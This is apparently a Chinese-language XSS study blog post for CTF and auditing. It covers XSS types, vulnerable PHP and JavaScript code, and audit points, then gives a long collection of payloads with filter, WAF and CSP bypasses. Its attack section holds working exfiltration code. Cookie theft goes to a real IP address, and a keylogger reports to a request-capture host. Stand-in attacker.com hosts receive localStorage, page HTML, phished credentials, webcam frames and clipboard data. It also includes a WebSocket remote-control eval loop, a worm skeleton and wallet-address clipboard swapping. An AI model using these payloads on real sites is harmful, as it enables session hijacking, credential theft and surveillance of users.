9338 字
47 分钟
XSS-learning
2026-03-05

1前置知识#

1.1 概念#

XSS(全称:跨站脚本攻击)是一种 Web 安全漏洞,攻击者可以利用它来破坏用户与易受攻击应用程序的交互。它允许攻击者绕过同源策略(该策略用于隔离不同的网站),伪装成受害者用户,执行用户可以执行的任何操作,并访问用户的任何数据。

1.2 原理#

攻击者往Web页面里插入恶意Script代码,当用户浏览该页时,嵌入其中的Script代码会被执行,从而达到恶意攻击用户的目的

1.3 类型#

  • 反射型XSS——后端 <非持久化> 攻击者事先制作好攻击链接, 需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。一般是后端代码进行处理,直接把用户输入拼到HTML里返回,没过滤
  • 存储型XSS——后端 <持久化> 代码是存储在服务器数据库中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,每当有用户访问该页面的时候都会触发代码执行,这种XSS非常危险,容易造成蠕虫,大量盗窃cookie
  • DOM型XSS——前端 基于文档对象模型(Document Objeet Model)的一种漏洞。DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。DOM中有很多对象,其中一些是用户可以操纵的,如uRI ,location,refelTer等。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM XSS漏洞。一般是浏览器前端代码进行处理

1.4 危害#

1.挂马
2.盗取用户Cookie。
3.DOS(拒绝服务)客户端浏览器。
4.钓鱼攻击,高级的钓鱼技巧。
5.删除目标文章、恶意篡改数据、嫁祸。
6.劫持用户Web行为,甚至进一步渗透内网。
7.爆发Web2.0蠕虫。
8.蠕虫式的DDoS攻击。
9.蠕虫式挂马攻击、刷广告、刷浏量、破坏网上数据
10.其它安全问题

2漏洞分析#

2.1 反射型 XSS#

核心特征:非持久化,一次性,需要诱导受害者点击恶意链接。

2.1.1 漏洞成因#

服务端直接将用户的请求参数拼接进 HTML 响应返回,未做任何过滤或转义

search.php
<?php
$search_query = $_GET['query']; // ❌ 直接获取,未处理
?>
<p>搜索结果:<?php echo $search_query; ?></p> // ❌ 直接输出
```
### 2.1.2 攻击路径
```
攻击者构造恶意URL
search.php?query=<script>alert(1)</script>
受害者点击链接 请求发送到服务器
服务器将Payload拼接进HTML返回
受害者浏览器解析执行恶意脚本

2.1.3 审计要点#

做题/审计时重点关注

// 危险函数:直接输出GET/POST参数
echo $_GET['x'];
echo $_POST['x'];
echo $_REQUEST['x'];
print $_GET['x'];
// 危险场景:搜索框回显、错误信息回显、跳转参数回显
header("Location: " . $_GET['url']); // 跳转参数未过滤

2.2 存储型 XSS#

核心特征:持久化,危害范围最广,Payload 存入数据库,所有访问者都会中招。

2.2.1 漏洞成因#

写入时未过滤直接入库,读取时未转义直接输出,形成完整的攻击链

// 写入接口:save_message.php(入库无过滤)
$message = $_POST['content'];
$sql = "INSERT INTO message (content) VALUES ('$message')"; // ❌ 直接入库
mysqli_query($conn, $sql);
// 读取接口:show_message.php(输出无转义)
while($row = mysqli_fetch_assoc($result)) {
echo "<div>" . $row['content'] . "</div>"; // ❌ 直接输出
}
```
### 2.2.2 攻击路径
```
攻击者在评论/留言/个人资料等处提交Payload
服务器未过滤,Payload 写入数据库持久存储
任意用户访问包含该数据的页面
服务器读取数据库内容拼接进HTML返回
所有访问者的浏览器执行恶意脚本
```
### 2.2.3 审计要点
做题/审计时需要**同时找到两个点**才能构成完整漏洞:
```
写入点(Source) 读取点(Sink)
───────────────── ──────────────────
评论/留言功能 数据库 评论展示页面
用户名/昵称 数据库 个人主页/文章作者
文件名 数据库 文件列表页面
商品描述 数据库 商品详情页面
// 审计时找这类输出函数,追溯其数据来源是否经过净化
echo $row['username']; // 数据库字段直接输出?
echo $row['comment'];
echo htmlspecialchars($row['comment']); // ✅ 有转义,安全

2.3 DOM 型 XSS#

核心特征:全程不经过服务器,漏洞存在于前端 JS 代码中,服务端看不到 Payload,WAF 难以拦截。

2.3.1 漏洞成因#

前端 JS 从可控数据源(Source)读取数据后,未经处理直接传入危险 API(Sink)

<div id="welcome"></div>
<script>
// ❌ Source:从URL读取可控输入
var username = new URLSearchParams(location.search).get('username');
// ❌ Sink:innerHTML直接解析为HTML
document.getElementById('welcome').innerHTML = "欢迎:" + username;
</script>

访问 ?username=<img src=x onerror=alert(1)> 即可触发。

2.3.2 Source 与 Sink 概念#

DOM 型 XSS 审计的核心就是找 Source → Sink 的数据流:

  • 常见 Source(可控输入源)
location.search // URL ?参数
location.hash // URL #后内容
location.href // 完整URL
document.referrer // 来源页面URL
document.cookie // Cookie内容
localStorage/sessionStorage // 本地存储
  • 常见 Sink(危险执行点)
// 类型一:直接解析HTML,最常见
element.innerHTML =
element.outerHTML =
document.write()
document.writeln()
// 类型二:执行字符串代码
eval()
setTimeout("字符串")
setInterval("字符串")
new Function()
// 类型三:影响页面跳转/资源加载
location.href =
location.replace()
element.src =
element.action =

2.3.3 三个危险 API 详解#

2.3.3.1 innerHTML#

替换元素内部内容,浏览器将传入字符串当 HTML 解析执行

// 攻击者控制 userInput = '<img src=x onerror=alert(1)>'
document.getElementById('box').innerHTML = userInput;
// 浏览器解析后生成 <img> 标签并触发 onerror 事件

2.3.3.2 outerHTML#

与 innerHTML 类似,但连元素本身也一起替换

// 攻击者控制 userInput = '<svg onload=alert(1)>'
document.getElementById('box').outerHTML = userInput;
// 整个 box 元素被替换为 <svg>,onload 触发

2.3.3.3 document.write()#

直接向文档流写入内容,页面加载完后调用会清空整个页面再重写

// 攻击者控制 userInput = '<script>alert(1)</script>'
document.write(userInput);
// 字符串直接写入HTML文档并被浏览器解析执行

2.3.4 审计要点#

做题时在 JS 代码中搜索危险 Sink,再向上追溯数据来源

// 第一步:全局搜索危险Sink关键词
innerHTML
outerHTML
document.write
eval(
setTimeout(
location.href
// 第二步:找到后向上追溯赋值来源
el.innerHTML = ??? // ???是固定字符串还是变量?
// 变量来自哪里?是否经过过滤?
// 第三步:判断来源是否可控
// 可控来源:location.search / location.hash / document.referrer 等
// 不可控来源:服务端写死的数据、经过严格过滤的数据

3攻击#

3.1 各类标签#

<script>\<img>\<input>\<a>\<details>\<svg>\<select>\<iframe>\<video>\<audio>\<body>\<button>\<div>\<object>\<p>
<textarea>\<keygen>\<marquee>\<isindex>
  • script 标签

<script> 标签用于定义客户端脚本,比如 JavaScript

<script>alert(123);</script>
<script>alert("xss");</script>
  • img标签

<img> 标签定义 HTML 页面中的图像

<img src=1 onerror=alert(123);>
<img src=1 onerror=alert("xss");>
  • input标签

<input> 标签规定了用户可以在其中输入数据的输入字段

<input onfocus="alert(123);">
//onfocus 事件在对象获得焦点时发生
<input onblur="alert(123)" autofocus><input autofocus>
//竞争焦点,从而触发onblur事件
<input onfocus="alert(123);" autofocus>
//input 标签的 autofocus 属性规定当页面加载时 元素应该自动获得焦点。可以通过autofocus属性自动执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发
<input οnclick="alert(123);">
//这样需要点击一下输入框<br>
" onmouseover="alert(123);">
//需要鼠标划过输入框<br>
  • a标签

<a>双标签(必须有开始和结束标签),核心作用是创建可点击的超链接

<a href="javascript:alert(123)">123</a>
<a href="x" onfocus="alert(666);" autofocus="">1xx</a>
<a href="x" onclick=eval('alert(666);')>1x7</a>
<a href="x" onmouseover=eval('alert(666);')>1x7</a>
<a href="x" onmouseout=eval('alert(666);')>1x7</a>
  • details标签

<details> 标签通过提供用户开启关闭的交互式控件,规定了用户可见的或者隐藏的需求的补充细节

<details ontoggle="alert(123);">
//ontoggle 事件规定了在用户打开或关闭 <details> 元素时触发
<details open ontoggle=alert(123);>
//使用details 标签的 open 属性触发ontoggle事件,无需用户去点击即可触发
  • svg标签

<svg> 标签用来在HTML页面中直接嵌入SVG 文件的代码

<svg onload=alert(123);>
  • select标签

<select> 标签用来创建下拉列表

<select onfocus="alert(123)"></select>
<select onfocus=alert(1) autofocus>
  • iframe标签

<iframe> 标签会创建包含另外一个文档的内联框架

<iframe onload=alert(123);></iframe>
<iframe src="javascript:alert(123)">666</iframe>
<iframe onload="alert(document.cookie)">666</iframe>
<iframe onload=eval(atob('YWxlcnQoZG9jdW1lbnQuY29va2llKQ=='))>666</iframe>
<iframe onmouseover="alert('xss');"></iframe>
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
  • video标签

<video> 标签定义视频,比如电影片段或其他视频流

<video> <source src="无效地址" onerror="alert(123)" /> </video>
  • audio标签

<audio> 标签定义声音,比如音乐或其他音频流

<audio src=1 onerror=alert(123)>
<audio><source src="x" onerror="alert('xss');"></audio>
<audio controls onfocus=eval("alert('xss');") autofocus=""></audio> <!--controls显示浏览器原生音频控制栏-->
<audio controls onmouseover="alert('xss');"><source src="x"></audio>
  • body标签

<body> 标签定义文档的主体

<body onload=alert(123);>
<body onscroll=alert(123);><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>
//onscroll 事件在元素滚动条在滚动时触发。我们可以利用换行符以及autofocus,当用户滑动滚动条的时候自动触发,无需用户去点击触发
  • button标签

<button>标签,它是网页中创建可点击交互按钮的原生语义化标签,核心作用是实现点击操作(如触发 JS 逻辑、提交表单),双标签

<button onclick=alert(123)>
<button onclick=javascript:alert(123)>
<button onfocus="alert('xss');" autofocus="">xss</button>
<button onclick="alert('xss');">xss</button>
<button onmouseover="alert('xss');">xss</button>
<button onmouseout="alert('xss');">xss</button>
<button onmouseup="alert('xss');">xss</button>
<button onmousedown="alert('xss');"></button>
  • div标签

<div>标签,它是网页布局里最基础、最核心的通用块级容器标签,本身没有任何默认语义和样式,核心作用是 “分组 / 包裹” 其他 HTML 元素,划分网页结构(如头部、主体、侧边栏),是前端构建页面布局的 “万能工具”

<div onmouseover='alert(1)'>DIV</div>
<div onmouseover='alert&lpar;1&rpar;'>DIV</div>
<!--这是为了绕过一下()提交时得url-->
  • object标签

<object>标签,它是一个早期的通用嵌入式对象标签,核心作用是在网页中嵌入各类外部资源(如 PDF、Flash、SVG、ActiveX 控件等) 这个需要借助 data 伪协议和 base64 编码来实现绕过

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4="></object>
  • p标签

<p>标签,它是专门用于定义段落文本的语义化块级标签,核心作用是包裹一段独立的文本内容(如文章段落、说明文字),让浏览器识别文本的段落结构,同时自带基础的段落间距样式,是前端排版文本最基础、最常用的标签之一

<p onclick="alert('xss');">xss</p>
<p onmouseover="alert('xss');">xss</p>
<p onmouseout="alert('xss');">xss</p>
<p onmouseup="alert('xss');">xss</p>
  • textarea 标签

<textarea> 标签定义一个多行的文本输入控件

<textarea onfocus=alert(123); autofocus>
  • keygen 标签
<keygen autofocus onfocus=alert(1)> //仅限火狐
  • marquee 标签
<marquee onstart=alert(1)></marquee> //Chrome不行,火狐和IE都可以
  • isindex 标签
<isindex type=image src=1 onerror=alert(1)>//仅限于IE

3.2 常用攻击方式#

3.2.1 弹窗#

这个形式的XSS没有什么危害,只是用来检测是否存在XSS漏洞

<script>alert(123)</script> //浏览器弹窗,内容为123
<script>prompt(2)</script> //浏览器弹出一个输入框,提示词为2
<script>confirm(3)</script> //与alert()类似,都是弹窗,3是弹出的内容

隐蔽

<script>console.log(3)</script> //这会在浏览器控制台输出一个3
<script>document.write(3)</script> //直接在页面写一个3

3.2.2 网页跳转#

<script>window.location.href="http://shaogx.cn"</script>
//直接跳转网页
<meta content="5;http://www.baidu.com" http-equiv="refresh">
//作用同上 里面的5是用来延时5秒
<a href="http://shaogx.cn">点击我</a>
//这样页面会出现点击我三个字,点击一下自动跳转网页
<script>window.open("http://shaogx.cn");</script>
//这会重新开一个界面,但是可能会被浏览器拦截
<button onclick="location.href='http://shaogx.cn'">点击跳转</button>
//点击按钮跳转
<div onclick="location.href='http://shaogx.cn'">查看详情</div>
//点击任意文本跳转

3.2.3 引入外部js#

引入外部js是图方便或者有长度限制,是手段而不是目的。有时候因此需要短域名

<script src="http://121.89.81.39/outfile/666.js"></script>
<img src=x onerror=document.body.appendChild(document.createElement("script")).src="//121.89.81.39/outfile/666.js">
<img src=x onerror=jQuery.getScript("//121.89.81.39/outfile/666.js")> #这个需要网页引入jQuery库
在目标vps上的666.js内容是
window.location.href="http://www.baidu.com"

这样就可以实现跳转。 还有就是这里的http://和引号是可以省略的

<script src=//121.89.81.39/outfile/666.js></script>

写成这样也可以

3.2.4 盗取cookie#

<script>window.location.href="http://121.89.81.39:2333/?msg="%2Bescape(document.cookie)</script> #这样可以把cookie外带出来+要url编码为%2B
<script>var img=document.createElement("img");img.src="http://121.89.81.39:2333/?msg="%2Bescape(document.cookie);document.body.appendChild(img);</script>

在攻击者服务器上不仅可以收到Cookie,还有Referer,ip,user-agent等。

3.2.5 flash钓鱼#

<script>alert("您的flash版本过低,请更新您的flash版本"); window.location.href ="https://www.flash.cn/cdm/latest/flashplayer_install_cn.exe"</script>

用xss触发CSRF,论坛中可用来制作XSS蠕虫

3.2.6 GET请求#

<img src="./pay.php?id=test">

3.2.7 POST请求#

<form action="./index.php" method="POST">
<input type="hidden" name="id" value="1" />
</form>
<script>
document.forms[0].submit();
</script>

使用JavaScript创建一个表单对象,填充表单中的字段,然后提交表单即可,示例如下

//下面的JavaScript代码作用:通过POST请求方式删除id=123的博客文章
var form = document.createElement('form');
form.method = 'POST';
form.action = 'http://blog.example.com/del';
document.body.appendChild(form);
/*
Node.appendChild() 方法将一个节点附加到指定父节点的子节点列表的末尾处。如果将被插入的节点已经存在于当前文档的文档树中,那么 appendChild() 只会将它从原先的位置移动到新的位置(不需要事先移除要移动的节点)。
*/
var li = document.createElement("input"); //<li>列表项元素
li.name = 'id'; //id参数用于指定博客文章的id
li.value = '123';
form.appendChile(li);
form.submit();

3.2.8实现键盘记录#

XSS可以实现键盘记录,获取用户输入的敏感信息。

document.addEventListener('keypress', function(e) {
var key = e.key || String.fromCharCode(e.keyCode);
new Image().src = 'http://d4t0vwzn.requestrepo.com/?key=' + encodeURIComponent(key);
});

引入外部的js后就会执行,把键盘操作发送到攻击者服务器,这样可以窃取一些密码等敏感信息

3.2.9 窃取 localStorage / sessionStorage#

// 获取所有本地存储数据并外带
var data = JSON.stringify(localStorage);
new Image().src = 'http://attacker.com/?data=' + encodeURIComponent(data);
// 也可以获取sessionStorage
var data2 = JSON.stringify(sessionStorage);
new Image().src = 'http://attacker.com/?data=' + encodeURIComponent(data2);

现代Web应用常把 JWT Token、用户信息、权限数据 存在这里,危害远大于Cookie(因为这类Token通常没有HttpOnly保护)

3.2.10 获取页面敏感信息#

// 获取页面中所有input的值(包括隐藏字段)
var inputs = document.querySelectorAll('input');
var result = [];
inputs.forEach(function(input) {
result.push(input.name + '=' + input.value);
});
new Image().src = 'http://attacker.com/?data=' + encodeURIComponent(result.join('&'));
// 直接获取整个页面HTML(可能包含CSRF Token、敏感数据)
new Image().src = 'http://attacker.com/?html=' + encodeURIComponent(document.documentElement.innerHTML);

3.2.11 CSRF Token 窃取 + 联动 CSRF#

// 先获取页面中的CSRF Token,再发起请求
var xhr = new XMLHttpRequest();
xhr.open('GET', '/user/delete_account', false); // 同步获取页面
xhr.send();
// 从响应中提取CSRF Token
var html = xhr.responseText;
var token = html.match(/csrf_token['"]\s*value=['"]([^'"]+)/)[1];
// 携带Token发起恶意POST请求
var xhr2 = new XMLHttpRequest();
xhr2.open('POST', '/user/delete_account');
xhr2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr2.send('csrf_token=' + token + '&confirm=1');

这是 XSS 绕过 CSRF 防御 的经典手法,因为 XSS 是在目标域下执行,同源策略不生效

3.2.12 钓鱼表单覆盖(UI 伪造)#

// 在页面覆盖一个假的登录框,诱导用户输入凭据
var overlay = document.createElement('div');
overlay.innerHTML = `
<div style="position:fixed;top:0;left:0;width:100%;height:100%;
background:rgba(0,0,0,0.8);z-index:99999;
display:flex;align-items:center;justify-content:center;">
<div style="background:#fff;padding:30px;border-radius:8px;width:350px;">
<h2>登录超时,请重新登录</h2>
<input id="fake_user" type="text" placeholder="用户名" style="width:100%;margin:10px 0;padding:8px">
<input id="fake_pass" type="password" placeholder="密码" style="width:100%;margin:10px 0;padding:8px">
<button onclick="stealCreds()" style="width:100%;padding:10px;background:#1890ff;color:#fff;border:none">登 录</button>
</div>
</div>`;
document.body.appendChild(overlay);
function stealCreds() {
var u = document.getElementById('fake_user').value;
var p = document.getElementById('fake_pass').value;
new Image().src = 'http://attacker.com/?u=' + encodeURIComponent(u) + '&p=' + encodeURIComponent(p);
}

3.2.13 XSS 蠕虫(Self-XSS Worm)#

// 经典XSS蠕虫结构(以论坛发帖为例)
// 蠕虫会自动将自身传播到其他用户的个人资料/留言板
var xhr = new XMLHttpRequest();
// 1. 先获取CSRF Token
xhr.open('GET', '/profile/edit', false);
xhr.send();
var token = xhr.responseText.match(/token" value="(.+?)"/)[1];
// 2. 将XSS Payload写入自己的个人简介,传播给访问者
var payload = '<script>/* 蠕虫代码本身 */<\/script>';
var xhr2 = new XMLHttpRequest();
xhr2.open('POST', '/profile/update');
xhr2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr2.send('token=' + token + '&bio=' + encodeURIComponent(payload));

3.2.14 网络探测(内网扫描)#

// 利用受害者浏览器探测内网存活主机(时间差判断)
var targets = ['192.168.1.1', '192.168.1.100', '192.168.1.200'];
targets.forEach(function(ip) {
var start = new Date().getTime();
var img = new Image();
img.onload = img.onerror = function() {
var time = new Date().getTime() - start;
// 响应时间短说明主机存活
new Image().src = 'http://attacker.com/?ip=' + ip + '&time=' + time;
};
img.src = 'http://' + ip + '/favicon.ico?' + Math.random();
});

把受害者浏览器当作跳板,探测攻击者无法直接访问的内网资源

3.2.15 利用 WebSocket 建立持久控制#

// 通过WebSocket与攻击者服务器保持长连接,实现实时控制
var ws = new WebSocket('ws://attacker.com:4444');
ws.onopen = function() {
// 上线时发送基本信息
ws.send(JSON.stringify({
type: 'init',
cookie: document.cookie,
url: location.href,
ua: navigator.userAgent
}));
};
ws.onmessage = function(e) {
// 接收攻击者命令并执行(相当于远程控制浏览器)
try {
var result = eval(e.data);
ws.send(JSON.stringify({ type: 'result', data: String(result) }));
} catch(err) {
ws.send(JSON.stringify({ type: 'error', data: err.message }));
}
};

这是 BeEF (Browser Exploitation Framework) 的核心原理,可以实现对浏览器的持久化控制

3.2.16 截图/摄像头/麦克风(权限滥用)#

// 利用 HTML5 API 请求摄像头权限(需要用户点击交互触发)
navigator.mediaDevices.getUserMedia({ video: true, audio: true })
.then(function(stream) {
var video = document.createElement('video');
video.srcObject = stream;
video.play();
// 截取画面帧并发送给攻击者
var canvas = document.createElement('canvas');
setInterval(function() {
canvas.getContext('2d').drawImage(video, 0, 0);
canvas.toBlob(function(blob) {
// 将截图发送到攻击者服务器
var fd = new FormData();
fd.append('img', blob);
fetch('http://attacker.com/upload', { method: 'POST', body: fd });
});
}, 3000);
});

3.2.17 剪切板劫持#

// 监听复制事件,替换或窃取剪切板内容
document.addEventListener('copy', function(e) {
// 窃取复制内容
var copied = window.getSelection().toString();
new Image().src = 'http://attacker.com/?clip=' + encodeURIComponent(copied);
// 篡改复制内容(比如替换加密货币钱包地址)
e.clipboardData.setData('text/plain', '攻击者的钱包地址: 1AttackerWalletAddress...');
e.preventDefault();
});

3.3 过滤绕过#

3.3.1 编码绕过#

适用位置:标签属性值中(hrefsrc、事件属性)

3.3.1.1 HTML 实体编码#

<!-- 十进制实体编码 -->
<img src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#34;xss&#34;&#41;&#59;">
<img src=x onerror=&#97&#108&#101&#114&#116(1)> <!-- 可省略分号 -->
<!-- 十六进制实体编码 -->
<img src=x onerror=&#x61;&#x6c;&#x65;&#x72;&#x74;(1)>
<!-- 部分字符编码(仅编码ri两个字母)-->
javasc&#x72;&#x69;pt:alert(/xss/)

3.3.1.2 URL 编码#

适用位置:hrefsrc 属性(javascript: 协议头必须保留,不可编码)

<a href="javascript:%61%6c%65%72%74%28%31%29">test</a>
<!-- 二次URL编码绕过 -->
<a href="javascript:%2561%256c%2565%2572%2574%2528%2531%2529">test</a>

3.3.1.3 JS 编码#

适用位置:JS 执行上下文中,配合 evalsetTimeout 等函数

<!-- 十六进制 \x -->
<img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27xss\x27\x29')>
<svg/onload=setTimeout('\x61\x6C\x65\x72\x74\x28\x31\x29')>
<!-- 八进制 \ -->
<svg/onload=setTimeout('\141\154\145\162\164\050\061\051')>
<!-- Unicode \u(只能编码标识符,括号不可编码)-->
<img src=x onerror="\u0061\u006c\u0065\u0072\u0074(1)">
<a href="javascript:\u0061\u006c\u0065\u0072\u0074(1)">test</a>

3.3.1.4 ASCII 码绕过#

<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,xss,34,41,59))">
<!-- 十六进制形式 -->
<a href='javascript:eval(String.fromCharCode(0x61,0x6C,0x65,0x72,0x74,0x28,0x31,0x29))'>test</a>

3.3.1.5 Base64 编码#

配合 data: 伪协议或 atob() 函数使用

<!-- data伪协议加载 -->
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></iframe>
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4="></object>
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></embed>
<!-- atob()解码执行 -->
<img src="x" onerror="eval(atob('YWxlcnQoMSk='))">
<a href=javascript:eval(atob('YWxlcnQoMSk='))>test</a>
<!-- 配合模板字符串的高阶用法 -->
<img src=x onerror="Function`a${atob`YWxlcnQoMSk=`}```">
<img src=x onerror="``.constructor.constructor`a${atob`YWxlcnQoMSk=`}```">

3.3.2 关键字过滤绕过#

3.3.2.1 大小写混淆#

<sCRiPt>alert(1);</sCrIpT>
<ImG sRc=x onerRor=alert(1)>

3.3.2.2 双写嵌套绕过#

适用于 WAF 只替换一次且替换为空的场景

<scrscriptipt>alert(1);</scrscriptipt>
<imimgg srsrcc=x onerror=alert(1)>
<sc<script>ript>alert(1)</sc</script>ript>

3.3.3 字符串拼接绕过#

3.3.3.1 eval + 字符串拼接#

<img src="x" onerror="a='aler';b='t';c='(1)';eval(a+b+c)">
<img src="x" onerror="eval('al'+'ert(1)')">

3.3.3.2 全局对象属性访问拼接#

<!-- 利用 top/window/self/parent/frames 等全局对象访问函数 -->
<img src=x onerror="top['al'+'ert'](1)">
<img src=x onerror="window['al'+'ert'](1)">
<img src=x onerror="self['al'%2B'ert'](1)">
<img src=x onerror="parent['al'%2B'ert'](1)">
<img src=x onerror="frames['al'%2B'ert'](1)">

3.3.3.3 赋值拼接变体#

<img src="x" onerror=_=alert,_(1)>
<img src onerror=top[a='al',b='ev',b%2Ba]('alert(1)')>
<img src onerror=['ale'%2B'rt'].map(top['ev'%2B'al'])[0]['valu'%2B'eOf']()(1)>

3.3.4 括号过滤绕过#

3.3.4.1 反引号替换#

<img src=x onerror=alert`1`>

3.3.4.2 throw 绕过#

<!-- 基础用法 -->
<img src=x onerror="javascript:window.onerror=alert;throw 1">
<!-- 进阶用法:解决浏览器自动加前缀问题 -->
<img src onerror="window.onerror=eval;throw '=alert\x281\x29'">

原理解析:直接 throw 'alert(1)' 时,Chrome 会将其包装为 "Uncaught: alert(1)",eval 执行会报错。改用 throw '=alert\x281\x29',eval 收到 "Uncaught: =alert(1)",其中 Uncaught: 被解析为合法的 JS label 语法=alert(1) 作为赋值表达式执行,弹窗成功触发。


3.3.5 标签/事件过滤绕过#

<script> 或常见标签被过滤时,可替换的标签非常多

<img> <svg> <iframe> <input> <body>
<video> <audio> <details> <select> <object>

冷门但有效的事件处理器

onmouseover onmouseenter onchange onsubmit
oncanplay onloadstart onfocus oninput
ontoggle onpointerover onanimationend

3.3.6 空格#

空格在不同位置可用的替代字符不同,以 <img AA src=x BB onerror=alert CC (1) DD> 为例

<!-- AA位置(标签名与属性之间)-->
可用:/ /123/ %09 %0A %0C %0D %20 /**/
<!-- BB位置(属性名与属性值之间)-->
可用:%09 %0A %0C %0D %20
<!-- CC位置(函数名与括号之间)-->
可用:%0B /**/
<!-- DD位置(属性结尾)-->
可用:/**/ // %09 %0A %0C %0D %20 >

实际示例

<img/src="x"/onerror=alert(1)> <!-- 用/代替空格 -->
<img/src="x"onerror=alert(1)> <!-- 省略部分空格 -->

3.3.7 引号#

<!-- HTML标签中可以不用引号 -->
<img src=x onerror=alert(xss)>
<!-- JS中用反引号代替单双引号 -->
<img src=x onerror=alert(`xss`)>
<script>alert(`xss`)</script>
<!-- 斜杠代替引号包裹字符串 -->
<script>alert(/xss/)</script>

3.3.8 alert#

<!-- 替换函数 -->
prompt(1)
confirm(1)
console.log(1)
document.write(1)
<!-- 常用执行函数包裹 -->
<img src="x" onerror="setTimeout(alert(1))">
<img src="x" onerror="setInterval(alert(1))">
<img src="x" onerror="Set.constructor(alert(1))">
<img src="x" onerror="constructor.constructor(alert(1))">
<img src="x" onerror="[1].map(alert(1))">
<img src="x" onerror="[1].forEach(alert(1))">

3.3.9 WAF 特性#

<!-- 利用HTML注释干扰解析 -->
<scr<!--注释-->ipt>alert(1)</scr<!--注释-->ipt>
<!-- 利用\0空字节截断 -->
<scr\0ipt>alert(1)</scr\0ipt>
<!-- 利用多余属性混淆 -->
<img src=x onxxx=1 onerror=alert(1)>
<!-- 利用Tab符(%09)分割事件名 -->
<img src=x on%09error=alert(1)>
<!-- 利用换行符分割 -->
<img src=x
onerror=alert(1)>
<!-- 利用特殊字符插入标签名(部分浏览器兼容)-->
<img/123 src=x onerror=alert(1)>

3.3.10 长度限制#

3.3.10.1 利用 location.hash#

<!-- name参数只写短payload,真正的代码放在#后面不受长度检测 -->
?name=<svg/onload=eval(location.hash.substr(1))>#alert(document.cookie)

3.3.10.2 引入外部 JS#

<script src=//attacker.com/x.js></script>
<img src=x onerror=document.body.appendChild(document.createElement("script")).src="//attacker.com/x.js">
```
#### 2.3.10.3 特殊 Unicode 字符压缩
```
₨ → rs(1个字符代表2个)
ffi → ffi(1个字符代表3个)
ß → ss
st → st

3.3.11 URL 地址过滤绕过#

当目标 URL 被过滤时,可以对 IP 进行进制转换:

<!-- 十进制IP(127.0.0.1 → 2130706433)-->
<img src="x" onerror=document.location=`http://2130706433/`>
<!-- 八进制IP -->
<img src="x" onerror=document.location=`http://0177.0.0.01/`>
<!-- 十六进制IP -->
<img src="x" onerror=document.location=`http://0x7f.0x0.0x0.0x1/`>
<!-- // 代替 http:// -->
<img src="x" onerror=document.location=`//www.baidu.com`>
<!-- 中文句号代替英文点(浏览器自动转换)-->
<img src="x" onerror="document.location=`http://www。baidu。com`">

3.3.12 JS 不常见特性利用(偏JS开发底层)#

// 利用with语句简化payload
<img src=x onerror="with(document)write('<script>alert(1)<\/script>')">
// 利用getter/setter
<img src=x onerror="Object.defineProperty(window,'_',{get:()=>alert(1)});void _">
// 利用Proxy
<img src=x onerror="new Proxy({},{get:()=>alert(1)}).x">
// 利用解构赋值
<img src=x onerror="[{toString:alert}]+''">
// 利用Symbol.toPrimitive
<img src=x onerror="[{[Symbol.toPrimitive]:alert}]+''">
// 利用标签模板(Tagged Template)
<img src=x onerror="alert`1`">
Function`a${'alert(1)'}```

3.3.13 浏览器 DOM 解析差异绕过#

不同浏览器对畸形 HTML 的容错解析不同,可以针对性利用

<!-- IE特有的条件注释 -->
<!--[if IE]><script>alert(1)</script><![endif]-->
<!-- IE支持的CSS expression -->
<div style="width:expression(alert(1))">
<!-- IE的vbscript协议 -->
<a href="vbscript:msgbox(1)">click</a>
<!-- 畸形标签,部分浏览器会自动修复并执行 -->
<img """><script>alert(1)</script>">
<<script>alert(1)//<</script>
<!-- SVG中的特殊解析 -->
<svg><script>alert&#40;1&#41;</script></svg>
<svg/onload=alert(1)>

3.3.14 AngularJS 沙箱逃逸(CSTI→XSS)#

当页面使用了 AngularJS 且用户输入被放入模板时

// AngularJS 1.x 各版本沙箱逃逸Payload
// <= 1.0.1
{{constructor.constructor('alert(1)')()}}
// 1.1.5
{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}}
// 1.3.x
{{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;
'a'.constructor.prototype.charAt=[].join;
$eval('x=alert(1)');}}
// 1.6+(沙箱被完全移除,直接执行)
{{constructor.constructor('alert(1)')()}}

3.3.15 CSP 绕过#

CSP (Content Security Policy)是目前最主流的 XSS 防御手段之一,绕过它非常重要

<!-- 利用白名单域下的JSONP接口 -->
<script src="https://白名单域/jsonp?callback=alert(1)//"></script>
<!-- 利用白名单域的AngularJS -->
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.0.1/angular.js"></script>
<div ng-app ng-csp>{{constructor.constructor('alert(1)')()}}</div>
<!-- 利用 base 标签劫持相对路径 -->
<base href="https://attacker.com/">
<!-- 页面中所有相对路径的JS请求都会指向攻击者服务器 -->
<!-- 利用 meta 标签跳转(CSP不限制meta刷新)-->
<meta http-equiv="refresh" content="0;url=javascript:alert(1)">
<!-- 利用 nonce 泄露(如果nonce在页面中可见)-->
<script nonce="泄露的nonce值">alert(1)</script>

3.3.16 二次渲染绕过#

<!-- 第一次提交时被过滤,但数据存入数据库后再次渲染时触发 -->
<!-- 常见于头像/昵称等经过多次处理的存储场景 -->
<!-- 第一次提交(被过滤为无害)-->
